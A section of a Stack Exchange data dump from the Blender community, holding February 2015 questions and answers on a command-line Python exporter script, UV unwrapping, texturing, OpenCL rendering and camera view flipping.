  <row Id="26180" PostTypeId="2" ParentId="26148" CreationDate="2015-02-23T18:52:35.387" Score="1" Body="&lt;p&gt;this would work for  a command line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender myfile.blend --background --python myexporter.py -- -m myobject&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender &amp;lt;blender file&amp;gt;  --background  --python &amp;lt;script file&amp;gt; -- -m &amp;lt;object name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i have removed 'Crate' you can set the name of the object in the command line ^ ,and removed the the file output since you are only printing to the console .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as sambler noted you should be running this in a terminal, here is the steps &quot;for windows&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy the script in a new text file then rename it to exporter.py   &quot;be sure to change the extension from .txt to .py&quot;&lt;/li&gt;&#xA;&lt;li&gt;go to your blender installation folder  &quot;C:\Program Files\Blender Foundation\Blender&quot;&lt;/li&gt;&#xA;&lt;li&gt;put your .blend file and exporter.py in this folder&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;shift&lt;/kbd&gt; + &lt;kbd&gt;right click&lt;/kbd&gt; to open a CMD in this folder&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;type the command  as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blender model.blend --background --python exporter.py -- -m Crate&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note :&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;you don't need to open blender for any of these steps 'nothing is done inside blender'&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Required Blender information.&#xA;bl_info = {&#xA;           &quot;name&quot;: &quot;My Exporter&quot;,&#xA;           &quot;author&quot;: &quot;&quot;,&#xA;           &quot;version&quot;: (1, 0),&#xA;           &quot;blender&quot;: (2, 65, 0),&#xA;           &quot;location&quot;: &quot;File &amp;gt; Export &amp;gt; Test (.tst)&quot;,&#xA;           &quot;description&quot;: &quot;&quot;,&#xA;           &quot;warning&quot;: &quot;&quot;,&#xA;           &quot;wiki_url&quot;: &quot;&quot;,&#xA;           &quot;tracker_url&quot;: &quot;&quot;,&#xA;           &quot;category&quot;: &quot;Import-Export&quot;&#xA;          }&#xA;&#xA;# Import the Blender required namespaces.&#xA;import sys, getopt&#xA;&#xA;import bpy&#xA;from bpy_extras.io_utils import ExportHelper&#xA;&#xA;# The main exporter class.&#xA;class MyExporter(bpy.types.Operator, ExportHelper):&#xA;   bl_idname       = &quot;export_scene.my_exporter&quot;;&#xA;   bl_label        = &quot;My Exporter&quot;;&#xA;   bl_options      = {'PRESET'};&#xA;&#xA;   obj_name        = &quot;&quot;;&#xA;&#xA;   def __init__(self):&#xA;      pass&#xA;&#xA;   def execute(self, context):&#xA;      print(&quot;Execute was called.&quot;);&#xA;&#xA;      self.parse_command_line_options();&#xA;&#xA;      if (self.obj_name == &quot;&quot;):&#xA;         print(&quot;No suitable object name was provided .&quot;);&#xA;         return {'FINISHED'};&#xA;      print(&quot;Executing......&quot;);&#xA;      # Now start exporting the target object.&#xA;      self.export_object(self.obj_name);&#xA;      # Parse all the objects in the scene.&#xA;      print(&quot;Finished&quot;);&#xA;      return {'FINISHED'};&#xA;&#xA;&#xA;   def export_object(self, obj_name):&#xA;       for item in bpy.data.objects:&#xA;           if item.name == obj_name and item.type == 'MESH' :&#xA;              for face in item.data.polygons:&#xA;                  verts_in_face = face.vertices[:]&#xA;                  print(&quot;face index &quot;, face.index)&#xA;                  print(&quot;normal &quot;, face.normal)&#xA;                  for vert in verts_in_face:&#xA;                  print(&quot;vertex coords &quot;, item.data.vertices[vert].co)&#xA;&#xA;&#xA;   def parse_command_line_options(self):&#xA;      obj_name = &quot;&quot;;&#xA;      myArgs = [];&#xA;      argsStartPos = 0;&#xA;&#xA;      if ((&quot;--&quot; in sys.argv) == False):&#xA;         return;&#xA;&#xA;      argsStartPos = sys.argv.index(&quot;--&quot;);&#xA;      argsStartPos += 1;&#xA;      myArgs = sys.argv[argsStartPos:];&#xA;&#xA;      try:&#xA;         opts, args = getopt.getopt(myArgs, 'hm:', [&quot;help&quot;, &quot;model-file=&quot;]);&#xA;      except getOpt.GetoptError:&#xA;         print(&quot;Opt Error.&quot;);&#xA;         return;&#xA;&#xA;      for opt, arg in opts:&#xA;         if (opt in (&quot;-h&quot;, &quot;--help&quot;)):&#xA;            print(&quot;Run this as the following blender command.&quot;);&#xA;            print(&quot;\tblender &amp;lt;blend file&amp;gt; --background --python &amp;lt;script file&amp;gt; -- -m &amp;lt;Object name&amp;gt;&quot;);&#xA;         elif (opt == &quot;-m&quot;):&#xA;            obj_name = arg;&#xA;&#xA;      if (obj_name != &quot;&quot;):&#xA;         self.obj_name = obj_name;&#xA;         print(obj_name);&#xA;&#xA;# Define a function to create the menu option for exporting.&#xA;def create_menu(self, context):&#xA;   self.layout.operator(MyExporter.bl_idname,text=&quot;test (.tst)&quot;);&#xA;&#xA;# Define the Blender required registration functions.&#xA;def register():&#xA;   &quot;&quot;&quot;&#xA;   Handles the registration of the Blender Addon.&#xA;   &quot;&quot;&quot;&#xA;   bpy.utils.register_module(__name__);&#xA;   bpy.types.INFO_MT_file_export.append(create_menu);&#xA;&#xA;def unregister():&#xA;   &quot;&quot;&quot;&#xA;   Handles the unregistering of this Blender Addon.&#xA;   &quot;&quot;&quot;&#xA;   bpy.utils.unregister_module(__name__);&#xA;   bpy.types.INFO_MT_file_export.remove(create_menu);&#xA;&#xA;&#xA;# Handle running the script from Blender's text editor.&#xA;if (__name__ == &quot;__main__&quot;):&#xA;   print(&quot;Registering.&quot;);&#xA;   register();&#xA;&#xA;   print(&quot;Executing.&quot;);&#xA;   bpy.ops.export_scene.my_exporter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-24T12:17:38.610" LastActivityDate="2015-02-24T12:17:38.610" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26181" PostTypeId="2" ParentId="26179" CreationDate="2015-02-23T18:58:48.503" Score="3" Body="&lt;p&gt;You need to enable rendering in the outliner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p5QVf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-23T18:58:48.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26182" PostTypeId="2" ParentId="26179" CreationDate="2015-02-23T18:59:01.930" Score="1" Body="&lt;p&gt;Click the greyed out camera icon in the outliner:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vzLWA.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change it to this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6W2hk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2015-02-23T18:59:01.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26184" PostTypeId="1" AcceptedAnswerId="26185" CreationDate="2015-02-23T19:46:25.350" Score="2" ViewCount="1870" Body="&lt;p&gt;I created a very simple chair mesh and I would like to unwrap it so that I can map a texture. I would like to have Smart UV Project unwrap it automatically, but whether I do it that way or try manually, I am unable to unwrap the model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AIQ8g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a few guides, but I'm not sure where I'm going wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My File: &lt;a href=&quot;http://www.pasteall.org/blend/34625&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/34625&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12653" LastEditorUserId="12653" LastEditDate="2015-02-23T20:03:40.597" LastActivityDate="2016-12-08T07:57:06.333" Title="Why won't Smart UV Project automatically unwrap a simple chair?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2018-04-11T03:00:05.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="26185" PostTypeId="2" ParentId="26184" CreationDate="2015-02-23T20:03:24.520" Score="6" Body="&lt;p&gt;The image editor is currently showing the 'render result' as shown in the header. When the render result is set to display, the uv unwrapping will not be visible (it doesn't stop it being unwrapped, it just stops you from &lt;em&gt;seeing&lt;/em&gt; it). Press the 'x' button to remove it and the uv unwrapping should appear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZF4WR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2016-12-08T07:57:06.333" LastActivityDate="2016-12-08T07:57:06.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26186" PostTypeId="2" ParentId="26162" CreationDate="2015-02-23T20:46:21.727" Score="5" Body="&lt;p&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; &lt;em&gt;&gt; Amount of Connecting edges&lt;/em&gt; works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to select a vertex with no connecting edges and a vertex with one connecting edge in order to select all vertices with one or fewer connecting edges at once:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZbaP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also &lt;em&gt;Greater than&lt;/em&gt; and &lt;em&gt;Less than&lt;/em&gt; options in the &lt;em&gt;Redo panel&lt;/em&gt; (&lt;kbd&gt;F6&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-23T20:46:21.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26187" PostTypeId="1" CreationDate="2015-02-23T21:02:41.570" Score="1" ViewCount="1406" Body="&lt;p&gt;I created a simple maze (via surface subdivision, extrusion, smooth shadows and edge split). Now I want to add some 'hedge' textures to the walls. When I drag and drop the texture, I seem to get just one color instead of a texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9CCl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rcVek.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems only a few cells got the right texture?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aZoX5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aIJi1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I've set up the texture manually for some planes, but is it possible to automise this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqQjf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: It works when I select everything at once and then adding the texture. When I add the texture a second time, it's just a green square.&lt;/p&gt;&#xA;" OwnerUserId="12778" LastEditorUserId="12778" LastEditDate="2015-02-24T11:37:03.030" LastActivityDate="2015-02-24T11:37:03.030" Title="Dragging and dropping a texture" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-02-24T03:26:58.577" ContentLicense="CC BY-SA 3.0" />
  <row Id="26188" PostTypeId="2" ParentId="23570" CreationDate="2015-02-23T21:07:44.883" Score="1" Body="&lt;p&gt;Blender uses solid bones with a head an tail separated by a body.  What you have here is many very small bones placed at the joint locations.  I am not very familiar with Maya but I think this is done in a Maya style where joints are king.  Basically when you are rotating a &quot;joint&quot; in your blend you are spinning a very small bone around a central axis.  You need the head of the shin bone for instance to be in the knee and the tail of the shin bone to be in the ankle.  Then when you select the bone in pose mode put the 3d cursor on its origin and make rotation pivot the 3d cursor.  When you rotate now you will see a stick bone rotating at the knee (like a real shin bone) and the mesh will move like you expect.  You may need to re-weight it but with doing one bone fast it seemed like it would be ok if I got everything straightened out.&lt;/p&gt;&#xA;" OwnerUserId="12779" LastActivityDate="2015-02-23T21:07:44.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26189" PostTypeId="1" CreationDate="2015-02-23T23:14:09.280" Score="0" ViewCount="153" Body="&lt;p&gt;I am doing a large project. I have had  100 animation scenarios (on cycles render) and each one will be applied on 100 different persons using MakeHuman. Each scenario among the 100 is constructed and finally imported as .bvh file. After that, I need to apply each scenario on all persons to get finally 10000 scenario. I need to do automatically this work because rendering need time. So I am wondering if it is possible to write a script that import each .bvh and apply it on each person and render the result? And I need to run this script on a cluster calculator. Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="3078" LastEditDate="2015-02-24T20:53:25.470" LastActivityDate="2015-02-24T20:53:25.470" Title="Script to execute blender on cluster calculator" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26190" PostTypeId="2" ParentId="18676" CreationDate="2015-02-23T23:16:38.373" Score="1" Body="&lt;p&gt;If I'm understanding the question correctly, you should be able to apply the modifier to one curve, copy it, select all of the curves, and then paste.  &lt;/p&gt;&#xA;" OwnerUserId="12781" LastActivityDate="2015-02-23T23:16:38.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26193" PostTypeId="2" ParentId="26187" CreationDate="2015-02-24T01:13:20.417" Score="4" Body="&lt;p&gt;I apologize if this answer is too basic or misunderstands your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a blend file that I made by subdividing a plain, extruding a row of hedges along Z, and then applying a material with an image texture to the raised hedge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first image below is the material set-up in Cycles. The second is the view in Blender in Object mode at with Material View selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a Dropbox link to the blend file:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/6klf54mwkup0ysd/hedge.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/6klf54mwkup0ysd/hedge.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the issue you were trying to address, let me know if it is incomplete....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5s5p5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Xn03.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11590" LastActivityDate="2015-02-24T01:13:20.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26194" PostTypeId="1" CreationDate="2015-02-24T01:52:22.497" Score="1" ViewCount="830" Body="&lt;p&gt;Why does cycles max out 1 CPU core in GPU mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Sorry for the auto correct fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render a scene In GPU compute mode in Cycles it will use my GPU and 100%&#xA;of one of my CPU cores. I thought it was a bottleneck in the CPU but when I overclock my CPU to 5ghz it did not give any performance gain. I heard it could be a bug in the Ubuntu system monitor or maybe it might be some kind of hybrid CPU+GPU render.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="530" LastEditDate="2015-02-27T20:22:51.077" LastActivityDate="2015-02-27T20:22:51.077" Title="Why does cycles max out 1 CPU core in GPU mode" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26195" PostTypeId="2" ParentId="21777" CreationDate="2015-02-24T02:42:04.300" Score="2" Body="&lt;p&gt;One way you could do it is to run this in a command line (or put it in a batch file). It enables Blender OpenCL test.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set CYCLES_OPENCL_TEST=all&#xA;&quot;C:\Program Files\Blender Foundation\Blender\blender.exe&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in Blender's settings, head over to the &quot;System&quot; tab, and enable OpenCL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ssodZ.png&quot; alt=&quot;OpenCL in settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?302079-Blender-Cycles-AMD-Opencl-It-s-possible-working-now&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blenderartists.org/forum/showthread.php?302079-Blender-Cycles-AMD-Opencl-It-s-possible-working-now&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2015-02-24T02:42:04.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26197" PostTypeId="2" ParentId="5491" CreationDate="2015-02-24T04:38:07.067" Score="22" Body="&lt;p&gt;I just had this issue myself, and I found that you don't need quite so many nodes. If you pass the &quot;Texture Coordinate&quot; node's Generated output to an XYZ seperator node, you can get values ranging from 0 to 1 for any of the primary axis. After that, you only need to pass the Z value output to the Fac input of the ColorRamp node. 0 will be the lowest point in the object, and 1 will be the highest point. Set the ColorRamp to the colors you desire, and pass its color output to whichever shader you want. This will also cut down on the processing required by avoiding the rotation action done in the Mapping Node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9lmmk.jpg&quot; alt=&quot;Cycles Node setup for procedural color based on height&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example above was used on a sky-dome. The higher up you look, the blue-er the sky gets. I should also note, that you &lt;em&gt;should&lt;/em&gt; be able to replace the &quot;Seperate XYZ&quot; node with a &quot;Seperate RGB&quot; node&lt;/p&gt;&#xA;" OwnerUserId="12784" LastEditorUserId="12784" LastEditDate="2015-02-27T06:28:26.077" LastActivityDate="2015-02-27T06:28:26.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26198" PostTypeId="2" ParentId="26148" CreationDate="2015-02-24T08:57:57.680" Score="0" Body="&lt;p&gt;The final image shows you entering the command in blender's python console, which only understands python. The command you are typing is a shell command and it needs to be typed into a terminal emulator, sometimes called the CLI or Command Line Interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to start the terminal emulator will depend on what OS you are using, &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_terminal_emulators&quot; rel=&quot;nofollow&quot;&gt;this wikipedia page&lt;/a&gt; lists some terminal emulators for different platforms. Most systems will have one of them installed by default.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-24T08:57:57.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26199" PostTypeId="1" CreationDate="2015-02-24T09:10:51.390" Score="3" ViewCount="1318" Body="&lt;p&gt;Is it possible to render in Blender with reduced low res files and then ask Blender to render the final render with 4k high res files? Low and high res files would be numbered identically but would be located in different folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="12788" LastEditorUserId="29" LastEditDate="2015-02-24T09:39:29.647" LastActivityDate="2015-02-24T14:11:40.300" Title="Rendering low and res/high res images" Tags="&lt;editing&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2015-03-11T14:27:34.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="26200" PostTypeId="2" ParentId="26199" CreationDate="2015-02-24T09:59:57.417" Score="1" Body="&lt;p&gt;You could achieve that by creating a full copy of the scene and change the scenes render settings for resolution and output path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2grj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively just set 4K resolution and lower the resolution slider with a different output directory.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2015-02-24T11:53:30.810" LastActivityDate="2015-02-24T11:53:30.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26202" PostTypeId="1" AcceptedAnswerId="26234" CreationDate="2015-02-24T13:25:02.860" Score="3" ViewCount="1747" Body="&lt;p&gt;I have 32 GB Ram on my computer, how can i make Blender use all (or at least, the most) of the RAM when rendering?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="599" LastEditDate="2015-02-24T19:49:47.903" LastActivityDate="2016-02-12T19:59:15.277" Title="Use all Ram on Blender when rendering? (Cycles and Blender Render)" Tags="&lt;rendering&gt;&lt;performance&gt;&lt;memory-management&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26204" PostTypeId="2" ParentId="26199" CreationDate="2015-02-24T14:11:40.300" Score="2" Body="&lt;p&gt;You can use compositing to output a Hi-res file and a scaled low-res file&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s95id.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-24T14:11:40.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26205" PostTypeId="1" AcceptedAnswerId="26223" CreationDate="2015-02-24T14:40:02.767" Score="1" ViewCount="1799" Body="&lt;p&gt;Is it possible to have a particle system emit particles based on the alpha channel of a texture? I would need to emit particles only from the parts of an image texture that are not transparent.&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2015-02-24T17:40:14.460" Title="Emit particles from a plane based on the alpha channel of it's texture" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26206" PostTypeId="1" CreationDate="2015-02-24T14:40:56.927" Score="11" ViewCount="457" Body="&lt;p&gt;Say I have a mesh and I have colored the vertices using vertex paint, how can I then get the average of the colors or rather the &lt;strong&gt;&lt;em&gt;color in the middle of the face&lt;/em&gt;&lt;/strong&gt; or the color under the normal &lt;em&gt;(shown below)&lt;/em&gt; using blender python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q48XW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3083" LastActivityDate="2015-02-24T23:30:40.260" Title="How can I get the color in the middle of a face using Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26207" PostTypeId="1" AcceptedAnswerId="26214" CreationDate="2015-02-24T14:46:05.077" Score="0" ViewCount="937" Body="&lt;p&gt;I'm new to blender. I have an object that I want to export as png sequence or avi. However when I render it, the object is flat and dark. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed the camera correctly as well. Below are screenshots:&#xA;This is how it looks like originally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GpoIA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks like in test render or even in real animation render, whether avi or png or jpg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PncRS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12792" LastEditorUserId="241" LastEditDate="2015-02-24T14:59:39.183" LastActivityDate="2015-02-24T15:46:44.600" Title="Why does my object appear flat when rendering?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26208" PostTypeId="1" AcceptedAnswerId="26209" CreationDate="2015-02-24T14:50:18.627" Score="5" ViewCount="3501" Body="&lt;p&gt;Many Photoshop concept artists flip their canvas horizontally from time to time during painting for a few seconds to better judge the composition. Is it possible in Blender's viewport, using the camera settings maybe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could render the image first and then flip it in compositor or any external image editor, but it would be much slower solution than flipping the viewport live.&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2015-02-24T15:01:07.103" Title="How to flip the view from the camera horizontally?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26209" PostTypeId="2" ParentId="26208" CreationDate="2015-02-24T14:53:56.757" Score="8" Body="&lt;p&gt;You can scale the camera negatively along it's local 'x' axis to acheive a flipped view (while looking through the camera).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the camera and press &lt;kbd&gt;S&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;-&lt;/kbd&gt;,&lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;X&lt;/kbd&gt; twice will scale along the 'local' axis instead of the 'global' axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively just enter '-1' into the 'x' scale in the object panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9jLW2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-24T15:01:07.103" LastActivityDate="2015-02-24T15:01:07.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26210" PostTypeId="2" ParentId="26206" CreationDate="2015-02-24T15:12:32.517" Score="8" Body="&lt;p&gt;In the middle of a face is an average color of all the vertices. For triangle this means:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Col_RGB = ((R&lt;sub&gt;1&lt;/sub&gt;+R&lt;sub&gt;2&lt;/sub&gt;+R&lt;sub&gt;3&lt;/sub&gt;)/3, (G&lt;sub&gt;1&lt;/sub&gt;+G&lt;sub&gt;2&lt;/sub&gt;+G&lt;sub&gt;3&lt;/sub&gt;)/3, (B&lt;sub&gt;1&lt;/sub&gt;+B&lt;sub&gt;2&lt;/sub&gt;+B&lt;sub&gt;3&lt;/sub&gt;)/3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where each vert has color in form of (R&lt;sub&gt;n&lt;/sub&gt;, G&lt;sub&gt;n&lt;/sub&gt;, B&lt;sub&gt;n&lt;/sub&gt;) for n in (1..3).&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-24T23:30:40.260" LastActivityDate="2015-02-24T23:30:40.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26211" PostTypeId="2" ParentId="6341" CreationDate="2015-02-24T15:28:32.523" Score="6" Body="&lt;p&gt;On the View Properties Panel (&lt;kbd&gt;N&lt;/kbd&gt; to open it) you can find the &quot;Render Border&quot; checkbox. So, select/unselect the chebkbox to enable/disable the render border appearance.&lt;/p&gt;&#xA;" OwnerUserId="12793" LastActivityDate="2015-02-24T15:28:32.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26212" PostTypeId="1" CreationDate="2015-02-24T15:44:26.160" Score="0" ViewCount="218" Body="&lt;p&gt;I want to clean up a bit in my Blender UI, and thus want to completely remove Blender Render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? And will it have any negative effects in working with cycles (create bugs/similar)?&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2018-02-17T00:25:38.603" Title="Is it possible to remove Blender Render/Internal render?" Tags="&lt;blender-internal-render-engine&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26213" PostTypeId="1" AcceptedAnswerId="26218" CreationDate="2015-02-24T15:46:12.380" Score="5" ViewCount="1753" Body="&lt;p&gt;I don't know what type of rendering engine cycles is. is it path tracing ray tracing &#xA;Raydiosidi ray casting photon maping? I would like to know&lt;/p&gt;&#xA;" OwnerUserId="12782" LastActivityDate="2015-02-24T16:22:14.483" Title="what type of rendering engine is cycles" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
